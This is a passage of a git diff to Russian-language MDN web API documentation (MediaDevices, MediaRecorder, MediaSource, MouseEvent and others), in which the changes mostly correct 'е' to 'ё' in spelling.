пользователями в строке адреса браузера) не может вызвать <code>getUserMedia()</code>. Подобные типы URL-ов, загружаемые из JavaScript кода, наследуют разрешения скрипта.</li> <li>Иные ситуации, документы которых не имеют источника, к примеру элемент, содержащий атрибут {{htmlattrxref("srcdoc", "iframe")}}, использующийся для указания содержимого фрейма.</li> </ul> @@ -258,14 +258,14 @@ if (navigator.mediaDevices.getUserMedia === undefined) { var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia; - //Некоторые браузеры не реализуют его, тогда вернем отмененный промис + //Некоторые браузеры не реализуют его, тогда вернём отменённый промис // с ошибкой для поддержания последовательности интерфейса if (!getUserMedia) { return Promise.reject(new Error('getUserMedia is not implemented in this browser')); } - // Иначе, обернем промисом устаревший navigator.getUserMedia + // Иначе, обернём промисом устаревший navigator.getUserMedia return new Promise(function(resolve, reject) { getUserMedia.call(navigator, constraints, resolve, reject); diff --git a/files/ru/web/api/mediadevices/index.html b/files/ru/web/api/mediadevices/index.html index 18b3ea99da..c32a95bac6 100644 --- a/files/ru/web/api/mediadevices/index.html +++ b/files/ru/web/api/mediadevices/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/MediaDevices --- <div>{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}</div> -<p><span class="seoSummary">Интерфейс <strong><code>MediaDevices</code></strong> предоставляет доступ к подключенным медиа-устройствам ввода, таким как камера, микрофон, а также к совместному использованию экрана. В сущности, он позволяет получать доступ к любому устройству медиа-данных.</span></p> +<p><span class="seoSummary">Интерфейс <strong><code>MediaDevices</code></strong> предоставляет доступ к подключённым медиа-устройствам ввода, таким как камера, микрофон, а также к совместному использованию экрана. В сущности, он позволяет получать доступ к любому устройству медиа-данных.</span></p> <h2 id="Свойства">Свойства</h2> @@ -36,7 +36,7 @@ translation_of: Web/API/MediaDevices <dl> <dt>{{ domxref("EventTarget.addEventListener()") }}</dt> - <dd>Регистрирует обработчик событий для определенного типа событий.</dd> + <dd>Регистрирует обработчик событий для определённого типа событий.</dd> <dt>{{ domxref("MediaDevices.enumerateDevices()") }}</dt> <dd>Получает массив информации о медиа-устройстве ввода-вывода.</dd> <dt>{{domxref("MediaDevices.getSupportedConstraints()")}}</dt> diff --git a/files/ru/web/api/mediaerror/code/index.html b/files/ru/web/api/mediaerror/code/index.html index a08f5c0752..64b925aeb8 100644 --- a/files/ru/web/api/mediaerror/code/index.html +++ b/files/ru/web/api/mediaerror/code/index.html @@ -51,7 +51,7 @@ translation_of: Web/API/MediaError/code <td><code>MEDIA_ERR_DECODE</code></td> <td><code>3</code></td> <td> - <p>Несмотря на то, что ранее ресурс был определен, как используемый, при попытке декодировать медиаресурс произошла ошибка.</p> + <p>Несмотря на то, что ранее ресурс был определён, как используемый, при попытке декодировать медиаресурс произошла ошибка.</p> </td> </tr> <tr> @@ -66,7 +66,7 @@ translation_of: Web/API/MediaError/code <h2 id="Пример">Пример</h2> -<p>В этом примере создается элемент {{HTMLElement("video")}}, устанавливается обработчик ошибок для него, а затем устанавливается атрибут элемента {{htmlattrxref("src", "video")}} для видеоресурса, который должен присутствовать в элементе. Обработчик ошибок просто выводит сообщение</p> +<p>В этом примере создаётся элемент {{HTMLElement("video")}}, устанавливается обработчик ошибок для него, а затем устанавливается атрибут элемента {{htmlattrxref("src", "video")}} для видеоресурса, который должен присутствовать в элементе. Обработчик ошибок просто выводит сообщение</p> <pre class="brush: js">var obj = document.createElement('video'); obj.onerror = function() {console.log("Ошибка с носителями информации: " + obj.error.code);} diff --git a/files/ru/web/api/mediarecorder/index.html b/files/ru/web/api/mediarecorder/index.html index 1f0332b9b6..2234f133c0 100644 --- a/files/ru/web/api/mediarecorder/index.html +++ b/files/ru/web/api/mediarecorder/index.html @@ -5,13 +5,13 @@ translation_of: Web/API/MediaRecorder --- <p>{{APIRef("Media Recorder API")}}</p> -<p>The <strong><code>MediaRecorder</code></strong> это интерфейс <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a> представляющий функциональность для простой записи медиа. Создается с использованием {{domxref("MediaRecorder.MediaRecorder", "MediaRecorder()")}} конструктора.</p> +<p>The <strong><code>MediaRecorder</code></strong> это интерфейс <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a> представляющий функциональность для простой записи медиа. Создаётся с использованием {{domxref("MediaRecorder.MediaRecorder", "MediaRecorder()")}} конструктора.</p> <h2 id="Конструктор">Конструктор</h2> <dl> <dt>{{domxref("MediaRecorder.MediaRecorder", "MediaRecorder()")}}</dt> - <dd>Создает новый объект <code>MediaRecorder</code>, получающий {{domxref("MediaStream")}} для записи. Доступны такие параметры, как установка типа MIME контейнера (<code>"video/webm","video/mp4"</code> и другие) и скорости передачи аудио-и видеодорожек или одной общей скорости.</dd> + <dd>Создаёт новый объект <code>MediaRecorder</code>, получающий {{domxref("MediaStream")}} для записи. Доступны такие параметры, как установка типа MIME контейнера (<code>"video/webm","video/mp4"</code> и другие) и скорости передачи аудио-и видеодорожек или одной общей скорости.</dd> </dl> <h2 id="Свойства">Свойства</h2> @@ -24,11 +24,11 @@ translation_of: Web/API/MediaRecorder <dt>{{domxref("MediaRecorder.stream")}} {{readonlyInline}}</dt> <dd>Возвращает поток который был передан конструктору при создании объекта <code>MediaRecorder</code></dd> <dt>{{domxref("MediaRecorder.ignoreMutedMedia")}}</dt> - <dd>Показывает записывает ли <code>MediaRecorder </code>дорожку {{domxref("MediaStreamTrack")}} если она отключена. Если атрибут равен<code> false, </code><code>MediaRecorder</code> будет записывать тишину для аудио и черные кадры для видео. По умолчанию равно <code>false</code></dd> + <dd>Показывает записывает ли <code>MediaRecorder </code>дорожку {{domxref("MediaStreamTrack")}} если она отключена. Если атрибут равен<code> false, </code><code>MediaRecorder</code> будет записывать тишину для аудио и чёрные кадры для видео. По умолчанию равно <code>false</code></dd> <dt>{{domxref("MediaRecorder.videoBitsPerSecond")}} {{readonlyInline}}</dt> - <dd>Возвращает скорость кодирования видео. Она может отличаться от скорости, определенной в конструкторе (если была предоставлена).</dd> + <dd>Возвращает скорость кодирования видео. Она может отличаться от скорости, определённой в конструкторе (если была предоставлена).</dd> <dt>{{domxref("MediaRecorder.audioBitsPerSecond;")}} {{readonlyInline}}</dt> - <dd>Возвращает скорость кодирования аудио. Она может отличаться от скорости, определенной в конструкторе (если была предоставлена).</dd> + <dd>Возвращает скорость кодирования аудио. Она может отличаться от скорости, определённой в конструкторе (если была предоставлена).</dd> </dl> <h2 id="Методы">Методы</h2> @@ -39,13 +39,13 @@ translation_of: Web/API/MediaRecorder <dt>{{domxref("MediaRecorder.pause()")}}</dt> <dd>Приостанавливает запись медиа.</dd> <dt>{{domxref("MediaRecorder.requestData()")}}</dt> - <dd>Запрашивает {{domxref("Blob")}} содержащий сохраненные данные полученные с начала записи (или с последнего вызова <code>requestData()</code>). После вызова этого метода, запись продолжается, но в новый <code>Blob.</code></dd> + <dd>Запрашивает {{domxref("Blob")}} содержащий сохранённые данные полученные с начала записи (или с последнего вызова <code>requestData()</code>). После вызова этого метода, запись продолжается, но в новый <code>Blob.</code></dd> <dt>{{domxref("MediaRecorder.resume()")}}</dt> <dd>Возобновляет запись медиа после паузы.</dd> <dt>{{domxref("MediaRecorder.start()")}}</dt> - <dd>Начинает запись медиа. В этот метод можно передать аргумент <code>timeslice </code>со значением в миллисекундах. Если он определен, то медиа будет записываться в отдельные блоки заданной продолжительности, вместо записи в один большой блок.</dd> + <dd>Начинает запись медиа. В этот метод можно передать аргумент <code>timeslice </code>со значением в миллисекундах. Если он определён, то медиа будет записываться в отдельные блоки заданной продолжительности, вместо записи в один большой блок.</dd> <dt>{{domxref("MediaRecorder.stop()")}}</dt> - <dd>Останавливает запись, после чего запускается событие {{event("dataavailable")}}, содержащее последний <code>Blob</code> сохраненных данных.</dd> + <dd>Останавливает запись, после чего запускается событие {{event("dataavailable")}}, содержащее последний <code>Blob</code> сохранённых данных.</dd> </dl> <h2 id="Обработчики_событий">Обработчики событий</h2> @@ -54,7 +54,7 @@ translation_of: Web/API/MediaRecorder <dt>{{domxref("MediaRecorder.ondataavailable")}}</dt> <dd>Вызывает обработчик {{event("dataavailable")}} события, которое запускается раз в <code>timeslice</code> миллисекунд (или, если <code>timeslice</code> не был задан - по окончанию записи). Событие типа {{domxref("BlobEvent")}}, сдержит записанное медиа в {{domxref("BlobEvent.data", "data")}}. Вы можете использовать обработчик для сбора и других действий в зависимости от полученных данных.</dd> <dt>{{domxref("MediaRecorder.onerror")}}</dt> - <dd>{{domxref("EventHandler")}} вызывается для обработки события {{event("recordingerror")}}, включающего отчет об ошибках во время записи. Это фатальные ошибки, приводящие к остановке записи. Полученное событие основано на интерфейсе {{domxref("MediaRecorderErrorEvent")}}, свойство которого {{domxref("MediaRecorderErrorEvent.error", "error")}} содержит {{domxref("DOMException")}} описывающие произошедшие ошибки.</dd> + <dd>{{domxref("EventHandler")}} вызывается для обработки события {{event("recordingerror")}}, включающего отчёт об ошибках во время записи. Это фатальные ошибки, приводящие к остановке записи. Полученное событие основано на интерфейсе {{domxref("MediaRecorderErrorEvent")}}, свойство которого {{domxref("MediaRecorderErrorEvent.error", "error")}} содержит {{domxref("DOMException")}} описывающие произошедшие ошибки.</dd> <dt>{{domxref("MediaRecorder.onpause")}}</dt> <dd>{{domxref("EventHandler")}} вызывается для обработки события {{event("pause")}}, случившегося во время приостановки медиа.</dd> <dt>{{domxref("MediaRecorder.onresume")}}</dt> @@ -175,7 +175,7 @@ if (navigator.getUserMedia) { <p>{{Compat("api.MediaRecorder")}}</p> -<h2 id="Еще_по_теме">Еще по теме</h2> +<h2 id="Ещё_по_теме">Ещё по теме</h2> <ul> <li><a href="/en-US/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API">Использование MediaRecorder API</a></li> diff --git a/files/ru/web/api/mediarecorder/mediarecorder/index.html b/files/ru/web/api/mediarecorder/mediarecorder/index.html index 2f5217eda5..abca1784a8 100644 --- a/files/ru/web/api/mediarecorder/mediarecorder/index.html +++ b/files/ru/web/api/mediarecorder/mediarecorder/index.html @@ -23,7 +23,7 @@ translation_of: Web/API/MediaRecorder/MediaRecorder <p>Объект, содержащий следующие свойства:</p> <ul> - <li><code>mimeType</code>: <code>mime</code> тип, определяет формат результата записи, который нужно использовать в качестве контейнера для создаваемого объекта <code>MediaRecorder</code>. Можно просто указать формат контейнера, а браузер сам выберет нужный кодек для записи аудио/видео, или используйте <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Media/Formats/codecs_parameter">параметр codecs</a> или параметр<code> profiles</code> для расширения информации об использовании и тонкой конфигурации кодеков. Приложения, предварительно, могут проверять поддержку браузерами определенного типа из свойства <code>mimeType</code> , вызывая метод {{domxref("MediaRecorder.isTypeSupported()")}}.</li> + <li><code>mimeType</code>: <code>mime</code> тип, определяет формат результата записи, который нужно использовать в качестве контейнера для создаваемого объекта <code>MediaRecorder</code>. Можно просто указать формат контейнера, а браузер сам выберет нужный кодек для записи аудио/видео, или используйте <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Media/Formats/codecs_parameter">параметр codecs</a> или параметр<code> profiles</code> для расширения информации об использовании и тонкой конфигурации кодеков. Приложения, предварительно, могут проверять поддержку браузерами определённого типа из свойства <code>mimeType</code> , вызывая метод {{domxref("MediaRecorder.isTypeSupported()")}}.</li> <li><code>audioBitsPerSecond</code>: Скорость записи медиа данных аудио.</li> <li><code>videoBitsPerSecond</code>: Скорость записи медиа данных видео.</li> <li><code>bitsPerSecond</code>: Скорость записи медиаданных аудио и видео. Может определяться вместо верхних двух. Если определяется вместе с одним из свойств выше, имеет меньший приоритет, и используется вместо отсутствующей настройки выше..</li> @@ -44,7 +44,7 @@ translation_of: Web/API/MediaRecorder/MediaRecorder <h2 id="Пример">Пример</h2> -<p>В этом примере показано, как создать медиа рекордер для указанного потока, чья скорость передачи звука составляет 128 Кбит / с, а скорость передачи видео - 2,5 Мбит / с. Записанные мультимедийные данные будут храниться в контейнере MP4 (поэтому, если вы соберете порции мультимедийных данных и сохраните их на диск, они будут в файле с разрешением MP4).</p> +<p>В этом примере показано, как создать медиа рекордер для указанного потока, чья скорость передачи звука составляет 128 Кбит / с, а скорость передачи видео - 2,5 Мбит / с. Записанные мультимедийные данные будут храниться в контейнере MP4 (поэтому, если вы соберёте порции мультимедийных данных и сохраните их на диск, они будут в файле с разрешением MP4).</p> <pre class="brush: js">... <code class="language-html"> diff --git a/files/ru/web/api/mediarecorder/ondataavailable/index.html b/files/ru/web/api/mediarecorder/ondataavailable/index.html index 25d0607f41..884d008564 100644 --- a/files/ru/web/api/mediarecorder/ondataavailable/index.html +++ b/files/ru/web/api/mediarecorder/ondataavailable/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/MediaRecorder/ondataavailable <li>Когда медиа поток завершается, любые мультимедийные данные ещё не доставленные в обработчик <code>ondataavailable</code> немедленно передаются в объект {{domxref("Blob")}}.</li> <li>При вызове метода {{domxref("MediaRecorder.stop()")}} , порция медиаданных, объем которых был захвачен с момента начала записи или после последнего вызова события <code>dataavailable</code> помещаются в объект {{domxref("Blob")}}; после этого захват завершается.</li> <li>При вызове метода {{domxref("MediaRecorder.requestData()")}} порция медиаданных, объем которых был захвачен с момента начала записи, или после последнего вызова события <code>dataavailable</code> помещаются в вновь созданный объект типа <code>Blob</code> , и захват порций медиаданных продолжается уже в этот новый объект <code>blob</code>.</li> - <li>Если свойство <code>timeslice</code> передается в метод {{domxref("MediaRecorder.start()")}}, который запускает захват порций медиаданных, событие <code>dataavailable</code> запускается каждые <code>timeslice</code> миллисекунд. Это значит, что каждый объект типа <code>blob</code> будет иметь специфический размер (за исключением последнего, который может быть короче, содержащий все, что осталось с момента последнего события ). Поэтому, если метод выглядит так : <code>recorder.start(1000);</code> то событие <code>dataavailable</code> будет запускаться каждую секунду общего потока медиа захвата, и обработчик события будет вызываться каждую секунду, содержащий в параметре объект типа <code>blob</code> , который будет содержать объем порции записи медиаданных продолжительностью в одну секунду. Можно использовать свойство <code>timeslice</code> вместе с {{domxref("MediaRecorder.stop()")}} и {{domxref("MediaRecorder.requestData()")}} для создания нескольких объектов типа<code> blob</code> одинакового объема данных , плюс последние короткие объекты типа<code> blob.</code></li> + <li>Если свойство <code>timeslice</code> передаётся в метод {{domxref("MediaRecorder.start()")}}, который запускает захват порций медиаданных, событие <code>dataavailable</code> запускается каждые <code>timeslice</code> миллисекунд. Это значит, что каждый объект типа <code>blob</code> будет иметь специфический размер (за исключением последнего, который может быть короче, содержащий все, что осталось с момента последнего события ). Поэтому, если метод выглядит так : <code>recorder.start(1000);</code> то событие <code>dataavailable</code> будет запускаться каждую секунду общего потока медиа захвата, и обработчик события будет вызываться каждую секунду, содержащий в параметре объект типа <code>blob</code> , который будет содержать объем порции записи медиаданных продолжительностью в одну секунду. Можно использовать свойство <code>timeslice</code> вместе с {{domxref("MediaRecorder.stop()")}} и {{domxref("MediaRecorder.requestData()")}} для создания нескольких объектов типа<code> blob</code> одинакового объёма данных , плюс последние короткие объекты типа<code> blob.</code></li> </ul> <div class="note"> diff --git a/files/ru/web/api/mediasource/index.html b/files/ru/web/api/mediasource/index.html index 86746ab4e1..6701b14112 100644 --- a/files/ru/web/api/mediasource/index.html +++ b/files/ru/web/api/mediasource/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/MediaSource <dl> <dt>{{domxref("MediaSource.MediaSource", "MediaSource()")}}</dt> - <dd>Создает и возвращает новый объект <code>MediaSource</code> не имеющий подключенных буферов данных.</dd> + <dd>Создаёт и возвращает новый объект <code>MediaSource</code> не имеющий подключённых буферов данных.</dd> </dl> <h2 id="Свойства">Свойства</h2> @@ -31,7 +31,7 @@ translation_of: Web/API/MediaSource <dt>{{domxref("MediaSource.activeSourceBuffers")}} {{readonlyInline}}</dt> <dd>Возвращает объект типа {{domxref("SourceBufferList")}} содержащий подмножество объектов типа {{domxref("SourceBuffer")}} хранящих в себе другие объекты типа {{domxref("SourceBuffers")}} — список объектов, предоставляющих доступ к выбранному видео, доступным аудиодорожкам, текстовым данным и тд.</dd> <dt>{{domxref("MediaSource.readyState")}} {{readonlyInline}}</dt> - <dd>Возвращает enum, отображающий состояние текущего <code>MediaSource-объекта</code>, будь то отсутствие подключения к медиа-элементу(<code>closed</code>), подключенный и готовый к передаче объектов типа {{domxref("SourceBuffer")}} (<font face="consolas, Liberation Mono, courier, monospace">open</font>), или подключенный, но с завершенным потоком {{domxref("MediaSource.endOfStream()")}} (<code>ended</code>.)</dd> + <dd>Возвращает enum, отображающий состояние текущего <code>MediaSource-объекта</code>, будь то отсутствие подключения к медиа-элементу(<code>closed</code>), подключённый и готовый к передаче объектов типа {{domxref("SourceBuffer")}} (<font face="consolas, Liberation Mono, courier, monospace">open</font>), или подключённый, но с завершённым потоком {{domxref("MediaSource.endOfStream()")}} (<code>ended</code>.)</dd> <dt>{{domxref("MediaSource.duration")}}</dt> <dd>Возвращает или устанавливает продолжительность предоставляемых медиаданных.</dd> </dl> @@ -48,7 +48,7 @@ translation_of: Web/API/MediaSource <dl> <dt>{{domxref("MediaSource.addSourceBuffer()")}}</dt> - <dd>Создает новый объект типа {{domxref("SourceBuffer")}}, с указанным MIME-типом и добавляет в список <code>MediaSource</code>'s {{domxref("SourceBuffers")}}.</dd> + <dd>Создаёт новый объект типа {{domxref("SourceBuffer")}}, с указанным MIME-типом и добавляет в список <code>MediaSource</code>'s {{domxref("SourceBuffers")}}.</dd> <dt>{{domxref("MediaSource.removeSourceBuffer()")}}</dt> <dd>Удаляет указанный {{domxref("SourceBuffer")}} из списка {{domxref("SourceBuffers")}}, связанного с текущим <code>MediaSource-объектом</code>.</dd> <dt>{{domxref("MediaSource.endOfStream()")}}</dt> @@ -62,7 +62,7 @@ translation_of: Web/API/MediaSource <h2 id="Примеры">Примеры</h2> -<p>Нижеприведенный простой пример подгружает видео фрагмент за фрагментом так скоро, как может, воспроизводя их "как только так сразу". Этот пример был написан Nick Desaulniers и может быть <a href="http://nickdesaulniers.github.io/netfix/demo/bufferAll.html">просмотрен здесь в виде демо</a> (также вы можете <a href="https://github.com/nickdesaulniers/netfix/blob/gh-pages/demo/bufferAll.html">загрузить исходный код</a> для дальнейшего изучения.)</p> +<p>Нижеприведённый простой пример подгружает видео фрагмент за фрагментом так скоро, как может, воспроизводя их "как только так сразу". Этот пример был написан Nick Desaulniers и может быть <a href="http://nickdesaulniers.github.io/netfix/demo/bufferAll.html">просмотрен здесь в виде демо</a> (также вы можете <a href="https://github.com/nickdesaulniers/netfix/blob/gh-pages/demo/bufferAll.html">загрузить исходный код</a> для дальнейшего изучения.)</p> <pre class="brush: js">var video = document.querySelector('video'); diff --git a/files/ru/web/api/mediastream_recording_api/index.html b/files/ru/web/api/mediastream_recording_api/index.html index 7907634ec2..077c3c82a9 100644 --- a/files/ru/web/api/mediastream_recording_api/index.html +++ b/files/ru/web/api/mediastream_recording_api/index.html @@ -16,14 +16,14 @@ translation_of: Web/API/MediaStream_Recording_API <li>Установите {{domxref("MediaRecorder.ondataavailable")}} обработчик событий для {{event("dataavailable")}} событий; он будет вызываться каждый раз, как данные будут доступны.</li> <li>Создайте {{domxref("MediaRecorder")}} объект, указав исходный поток и любые опции по желанию (такие как MIME-тип контейнера или желаемый битрейт его треков).</li> <li>Как только исходная медиа запустится и будет достигнута точка, где вы будете готовы записать видео, вызовите {{domxref("MediaRecorder.start()")}} для начала записи.</li> - <li>Ваш {{event("dataavailable")}} обработчик будет вызываться каждый раз, как появляются данные, готовые для выполнения вами над ними ожидаемых операций; событие имеет дата-атрибут, чье значение {{domxref("Blob")}}, который содержит медиа-данные. Вы можете принудительно вызвать <code>dataavailable</code> событие, доставляя тем самым последние данные, чтобы вы могли отфильтровать их, сохранить и тд.</li> + <li>Ваш {{event("dataavailable")}} обработчик будет вызываться каждый раз, как появляются данные, готовые для выполнения вами над ними ожидаемых операций; событие имеет дата-атрибут, чьё значение {{domxref("Blob")}}, который содержит медиа-данные. Вы можете принудительно вызвать <code>dataavailable</code> событие, доставляя тем самым последние данные, чтобы вы могли отфильтровать их, сохранить и тд.</li> <li>Запись останавливается автоматически, когда исходное медиа закончит проигрываться.</li> <li>Вы можете остановить запись в любое время, вызвав {{domxref("MediaRecorder.stop()")}}.</li> </ol> <p>Вы можете так же использовать свойства MediaRecorder объекта для определения состояния процесса записи и его {{domxref("MediaRecorder.pause", "pause()")}} и {{domxref("MediaRecorder.resume", "resume()")}} методы, чтобы остановить и возобновить запись исходной медиа.</p> -<p>Если вам нужно или вы хотите проверить, поддерживается ли определенный MIME-тип, это так же возможно. Просто вызовите {{domxref("MediaRecorder.isMimeTypeSupported()")}}.</p> +<p>Если вам нужно или вы хотите проверить, поддерживается ли определённый MIME-тип, это так же возможно. Просто вызовите {{domxref("MediaRecorder.isMimeTypeSupported()")}}.</p> <p>Чтобы узнать больше о MediaStream Recording API, смотрите <a href="/en-US/docs/Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API">Using the MediaStream Recording API</a>, который показывает, как использовать API для записи аудио клипов. Другая статья, <a href="/en-US/docs/Web/API/MediaStream_Recording_API/Recording_a_media_element">Recording a media element</a>, описывает, как получить поток из {{HTMLElement("audio")}} или {{HTMLElement("video")}} элементов и использовать захватывающие потоки (в этом случае, запись и сохранение их на локальный диск).</p> diff --git a/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html b/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html index 0ba9e31501..ff5714a279 100644 --- a/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html +++ b/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html @@ -108,7 +108,7 @@ h2 { <h3 id="Установка_глобальных_переменных">Установка глобальных переменных</h3> -<p>Мы начнем с установления некоторых глобальных переменных, которые нам понадобятся.</p> +<p>Мы начнём с установления некоторых глобальных переменных, которые нам понадобятся.</p> <pre class="brush: js">let preview = document.getElementById("preview"); let recording = document.getElementById("recording"); diff --git a/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html b/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html index fb0c2b27b2..f0ce6a6e5b 100644 --- a/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html +++ b/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recordin <h2 id="CSS_плюшки">CSS плюшки</h2> -<p>Разметка HTML довольно проста, поэтому не будем ее рассматривать подробно, но есть более интересные места в CSS, которые стоило бы отметить, и о которых поговорим ниже. Если вам не интересна тема CSS , и хотите сразу приступить к JavaScript, то перейдите к части основных настроек приложения {{anch("Basic app setup")}}.</p> +<p>Разметка HTML довольно проста, поэтому не будем её рассматривать подробно, но есть более интересные места в CSS, которые стоило бы отметить, и о которых поговорим ниже. Если вам не интересна тема CSS , и хотите сразу приступить к JavaScript, то перейдите к части основных настроек приложения {{anch("Basic app setup")}}.</p> <h3 id="Сохраняйте_интерфейс_ограниченным_областью_просмотра_независимо_от_высоты_устройства_с_функцией_calc">Сохраняйте интерфейс ограниченным областью просмотра, независимо от высоты устройства, с функцией calc()</h3> @@ -70,7 +70,7 @@ translation_of: Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recordin top: -100px; }</pre> -<p>Затем стилизуем блок информации (обернутый в элемент {{htmlelement("aside")}}) по вкусу, давая ему фиксированную позицию, так что бы он не показывался в потоке разметки и влиял на основной интерфейс, трансформируем его позицию функцией трансформации, определяя его место по умолчанию, и меняем значение функции трансформации для плавного его отображения/скрытия:</p> +<p>Затем стилизуем блок информации (обёрнутый в элемент {{htmlelement("aside")}}) по вкусу, давая ему фиксированную позицию, так что бы он не показывался в потоке разметки и влиял на основной интерфейс, трансформируем его позицию функцией трансформации, определяя его место по умолчанию, и меняем значение функции трансформации для плавного его отображения/скрытия:</p> <pre class="brush: css">aside { position: fixed; @@ -124,7 +124,7 @@ const soundClips = document.querySelector('.sound-clips');</pre> console.log('getUserMedia not supported on your browser!'); }</pre> -<p>Все обернуто в условный тест, проверяющий поддержку <code>getUserMedia</code> до запуска чего нибудь. Затем вызываем <code>getUserMedia()</code> и внутри определяем:</p> +<p>Все обёрнуто в условный тест, проверяющий поддержку <code>getUserMedia</code> до запуска чего нибудь. Затем вызываем <code>getUserMedia()</code> и внутри определяем:</p> <ul> <li><strong>Ограничения </strong>: Приложению нужен только аудиопоток .</li> @@ -138,7 +138,7 @@ const soundClips = document.querySelector('.sound-clips');</pre> <h2 id="Захват_медиа_потока">Захват медиа потока</h2> -<p>Как только функция <code>getUserMedia</code> успешно получила медиапоток, создаем новый объект типа Media Recorder конструктором <code>MediaRecorder()</code> и передаем ему поток, полученный функцией. Это точка входа использования интерфейса MediaRecorder — теперь поток готов для захвата и упаковки в объект {{domxref("Blob")}}, в формате по умолчанию, установленного для браузера.</p> +<p>Как только функция <code>getUserMedia</code> успешно получила медиапоток, создаём новый объект типа Media Recorder конструктором <code>MediaRecorder()</code> и передаём ему поток, полученный функцией. Это точка входа использования интерфейса MediaRecorder — теперь поток готов для захвата и упаковки в объект {{domxref("Blob")}}, в формате по умолчанию, установленного для браузера.</p> <pre class="brush: js">const mediaRecorder = new MediaRecorder(stream);</pre> @@ -213,11 +213,11 @@ mediaRecorder.ondataavailable = function(e) { } }</pre> -<p>Пройдем весь код выше и посмотрим, что он делает.</p> +<p>Пройдём весь код выше и посмотрим, что он делает.</p> <p>Сначала отображаем пользователю диалог с запросом имени будущей записи.</p> -<p>Затем создаем структуру HTML , вставляя её в контейнер, представляющийся элементом {{htmlelement("article")}} .</p> +<p>Затем создаём структуру HTML , вставляя её в контейнер, представляющийся элементом {{htmlelement("article")}} .</p> <pre class="brush: html"><article class="clip"> <audio controls></audio> @@ -225,7 +225,7 @@ mediaRecorder.ondataavailable = function(e) { <button>Delete</button> </article></pre> -<p>После этого создаем объект {{domxref("Blob")}} с комбинацией наших записанных частей аудио и создаем объект URL ссылающийся на него, используя метод <code>window.URL.createObjectURL(blob)</code>. Затем устанавливаем значение атрибута {{htmlattrxref("src", "audio")}} элемента {{HTMLElement("audio")}} в созданный объект URL, так, что бы при нажатии на кнопку воспроизведения объект <code>Blob</code> передал свои данные элементу.</p> +<p>После этого создаём объект {{domxref("Blob")}} с комбинацией наших записанных частей аудио и создаём объект URL ссылающийся на него, используя метод <code>window.URL.createObjectURL(blob)</code>. Затем устанавливаем значение атрибута {{htmlattrxref("src", "audio")}} элемента {{HTMLElement("audio")}} в созданный объект URL, так, что бы при нажатии на кнопку воспроизведения объект <code>Blob</code> передал свои данные элементу.</p> <p>Наконец, устанавливаем обработчик события <code>onclick</code> на кнопке удаления, для удаления всей структуры HTML проигрывания результата записи (элемент clip).</p> diff --git a/files/ru/web/api/mediastreamtrack/index.html b/files/ru/web/api/mediastreamtrack/index.html index 5a2bbeed09..489c5d5196 100644 --- a/files/ru/web/api/mediastreamtrack/index.html +++ b/files/ru/web/api/mediastreamtrack/index.html @@ -45,7 +45,7 @@ translation_of: Web/API/MediaStreamTrack <dt>{{domxref("MediaStreamTrack.readyState")}} {{readonlyInline}}</dt> <dd>Возвращает одно из следующих значений, обозначающих статус трека: <ul> - <li><code>"live"</code> означает, что источник подключен и делает всё, чтобы предоставить данные в реальном времени. В этом случае, поток данных можно включать и выключать с помощью свойство {{domxref("MediaStreamTrack.enabled", "enabled")}}.</li> + <li><code>"live"</code> означает, что источник подключён и делает всё, чтобы предоставить данные в реальном времени. В этом случае, поток данных можно включать и выключать с помощью свойство {{domxref("MediaStreamTrack.enabled", "enabled")}}.</li> <li><code>"ended"</code> означает, что источник больше не предоставляет и больше не будет предоставлять данные.</li> </ul> </dd> diff --git a/files/ru/web/api/mediatrackconstraints/echocancellation/index.html b/files/ru/web/api/mediatrackconstraints/echocancellation/index.html index 6caa568f39..38d17c9257 100644 --- a/files/ru/web/api/mediatrackconstraints/echocancellation/index.html +++ b/files/ru/web/api/mediatrackconstraints/echocancellation/index.html @@ -34,7 +34,7 @@ original_slug: Web/API/MediaTrackConstraints/Эхоподавление <h3 id="Значение">Значение</h3> -<p>Если это значение является простым <code>true</code> или <code>false</code>, пользовательский агент попытается получить медиа с включенным или отключенным эхоподавлением, если это возможно, но не вернет ошибку, если это невозможно сделать. Иначе если значение передано как объект с полем <code>exact</code> , то логическое значение этого поля указывает обязательную настройку для эхоподавления; если это не может быть выполнены - запрос вернет ошибку.</p> +<p>Если это значение является простым <code>true</code> или <code>false</code>, пользовательский агент попытается получить медиа с включённым или отключённым эхоподавлением, если это возможно, но не вернёт ошибку, если это невозможно сделать. Иначе если значение передано как объект с полем <code>exact</code> , то логическое значение этого поля указывает обязательную настройку для эхоподавления; если это не может быть выполнены - запрос вернёт ошибку.</p> <h2 id="Example" name="Example">Пример</h2> diff --git a/files/ru/web/api/mouseevent/index.html b/files/ru/web/api/mouseevent/index.html index 23266c8feb..3d7e42d675 100644 --- a/files/ru/web/api/mouseevent/index.html +++ b/files/ru/web/api/mouseevent/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/MouseEvent <dl> <dt>{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}</dt> - <dd>Создает объект <code>MouseEvent</code>.</dd> + <dd>Создаёт объект <code>MouseEvent</code>.</dd> </dl> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/mouseevent/screenx/index.html b/files/ru/web/api/mouseevent/screenx/index.html index 93b35759e8..4e6ee2a42c 100644 --- a/files/ru/web/api/mouseevent/screenx/index.html +++ b/files/ru/web/api/mouseevent/screenx/index.html @@ -22,7 